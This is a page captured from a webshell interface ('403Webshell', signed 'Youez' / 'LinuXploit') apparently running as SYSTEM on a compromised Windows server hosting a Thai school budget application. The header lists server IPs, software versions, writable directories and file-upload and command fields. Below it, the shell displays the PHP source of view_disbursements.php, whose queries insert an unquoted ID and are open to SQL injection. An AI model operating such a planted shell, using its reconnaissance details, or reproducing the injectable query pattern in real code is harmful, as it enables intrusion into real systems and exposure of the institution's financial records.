403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/school_budget/school/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/school_budget/school/view_disbursements.php
<?php
include '../template/header.php';

// [ใหม่] ฟังก์ชันสำหรับแปลงวันที่เป็นรูปแบบภาษาไทย
function thai_date_format($date_str) {
    if (empty($date_str) || $date_str == '0000-00-00') {
        return '';
    }
    $thai_months = [
        1 => 'มกราคม', 2 => 'กุมภาพันธ์', 3 => 'มีนาคม', 4 => 'เมษายน',
        5 => 'พฤษภาคม', 6 => 'มิถุนายน', 7 => 'กรกฎาคม', 8 => 'สิงหาคม',
        9 => 'กันยายน', 10 => 'ตุลาคม', 11 => 'พฤศจิกายน', 12 => 'ธันวาคม'
    ];
    $timestamp = strtotime($date_str);
    $day = date('j', $timestamp);
    $month = $thai_months[date('n', $timestamp)];
    $year = date('Y', $timestamp) + 543; // แปลงเป็น พ.ศ.
    return "$day $month $year";
}


// ป้องกัน
if (!isset($_SESSION['user_id']) || $_SESSION['role'] != 'school') {
    header("Location: ../login.php");
    exit();
}

$school_id = $_SESSION['school_id'];
$allocation_id = 0;
$error_msg = '';

// **การป้องกันการเข้าถึงข้อมูลของโรงเรียนอื่น**
if (isset($_GET['id'])) {
    $allocation_id = mysqli_real_escape_string($conn, $_GET['id']);
    
    // ตรวจสอบว่า allocation ID นี้เป็นของโรงเรียนที่ login อยู่จริงหรือไม่
    $check_sql = "SELECT * FROM allocations WHERE id = $allocation_id AND school_id = $school_id";
    $check_result = mysqli_query($conn, $check_sql);
    if (mysqli_num_rows($check_result) == 0) {
        // ถ้าไม่พบ แสดงว่าพยายามเข้าถึงข้อมูลของคนอื่น
        die("Error: Access Denied. คุณไม่มีสิทธิ์เข้าถึงข้อมูลนี้");
    }
} else {
    header("Location: index.php");
    exit();
}


// ดึงข้อมูลหลักของรายการนี้
$alloc_sql = "SELECT a.*, SUM(d.amount) AS total_disbursed 
              FROM allocations a 
              LEFT JOIN disbursements d ON a.id = d.allocation_id 
              WHERE a.id = $allocation_id 
              GROUP BY a.id";
$alloc_res = mysqli_query($conn, $alloc_sql);
$allocation = mysqli_fetch_assoc($alloc_res);
$remaining_balance = $allocation['amount'] - $allocation['total_disbursed'];

// จัดการการเพิ่มรายการเบิกจ่าย
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['add_disbursement'])) {
    $disbursement_name = mysqli_real_escape_string($conn, $_POST['disbursement_name']);
    $amount = (float)mysqli_real_escape_string($conn, $_POST['amount']);
    $disbursement_date = mysqli_real_escape_string($conn, $_POST['disbursement_date']);

    if ($amount > 0 && $amount <= $remaining_balance) {
        $insert_sql = "INSERT INTO disbursements (allocation_id, disbursement_name, amount, disbursement_date) 
                       VALUES ($allocation_id, '$disbursement_name', '$amount', '$disbursement_date')";
        mysqli_query($conn, $insert_sql);
        header("Location: view_disbursements.php?id=$allocation_id"); // รีเฟรชหน้า
        exit();
    } else {
        $error_msg = "จำนวนเงินไม่ถูกต้อง หรือมากกว่ายอดคงเหลือ!";
    }
}

?>
<a href="index.php" class="btn btn-secondary btn-sm mb-3"><i class="bi bi-arrow-left"></i> กลับหน้ารายการงบ</a>
<h1 class="mb-4">จัดการเบิกจ่าย: <?php echo htmlspecialchars($allocation['item_name']); ?></h1>

<div class="row">
    <div class="col-md-4">
        <div class="card mb-4">
            <div class="card-header bg-info">
                <strong>สรุปงบประมาณรายการนี้</strong>
            </div>
            <div class="card-body">
                <p><strong>งบประมาณที่ได้รับ:</strong> <span class="float-end"><?php echo number_format($allocation['amount'], 2); ?> บาท</span></p>
                <p><strong>เบิกจ่ายแล้ว:</strong> <span class="float-end text-danger"><?php echo number_format($allocation['total_disbursed'], 2); ?> บาท</span></p>
                <hr>
                <p class="fs-5"><strong>คงเหลือ:</strong> <span class="float-end text-success fw-bold"><?php echo number_format($remaining_balance, 2); ?> บาท</span></p>
            </div>
        </div>
        <div class="card">
            <div class="card-header bg-success text-white">
                <i class="bi bi-plus-circle-fill"></i> เพิ่มรายการเบิกจ่าย
            </div>
             <div class="card-body">
                <?php if($error_msg): ?>
                    <div class="alert alert-danger"><?php echo $error_msg; ?></div>
                <?php endif; ?>
                <form method="post">
                    <input type="hidden" name="add_disbursement" value="1">
                    <div class="mb-3">
                        <label class="form-label">ชื่อรายการเบิก</label>
                        <input type="text" name="disbursement_name" class="form-control" required>
                    </div>
                    <div class="mb-3">
                        <label class="form-label">จำนวนเงิน (บาท)</label>
                        <input type="number" step="0.01" name="amount" class="form-control" max="<?php echo $remaining_balance; ?>" required>
                    </div>
                    <div class="mb-3">
                        <label class="form-label">วันที่เบิกจ่าย</label>
                        <input type="date" name="disbursement_date" class="form-control" value="<?php echo date('Y-m-d'); ?>" required>
                    </div>
                    <button type="submit" class="btn btn-success" <?php echo ($remaining_balance <= 0) ? 'disabled' : ''; ?>>บันทึกการเบิกจ่าย</button>
                </form>
             </div>
        </div>
    </div>
    <div class="col-md-8">
        <div class="card">
            <div class="card-header">
                <strong>ประวัติการเบิกจ่าย</strong>
            </div>
            <div class="card-body">
                <table class="table">
                    <thead>
                        <tr>
                            <th>#</th>
                            <th>รายการเบิก</th>
                            <th class="text-end">จำนวนเงิน</th>
                            <th>วันที่</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php
                        $dis_sql = "SELECT * FROM disbursements WHERE allocation_id = $allocation_id ORDER BY disbursement_date DESC";
                        $dis_res = mysqli_query($conn, $dis_sql);
                        $counter = 1;
                        if(mysqli_num_rows($dis_res) > 0){
                            while($row = mysqli_fetch_assoc($dis_res)){
                        ?>
                            <tr>
                                <td><?php echo $counter++; ?></td>
                                <td><?php echo htmlspecialchars($row['disbursement_name']); ?></td>
                                <td class="text-end"><?php echo number_format($row['amount'], 2); ?></td>
                                <td><?php echo thai_date_format($row['disbursement_date']); ?></td>
                            </tr>
                        <?php
                            }
                        } else {
                            echo '<tr><td colspan="4" class="text-center">ยังไม่มีการเบิกจ่าย</td></tr>';
                        }
                        ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
</div>
<?php include '../template/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit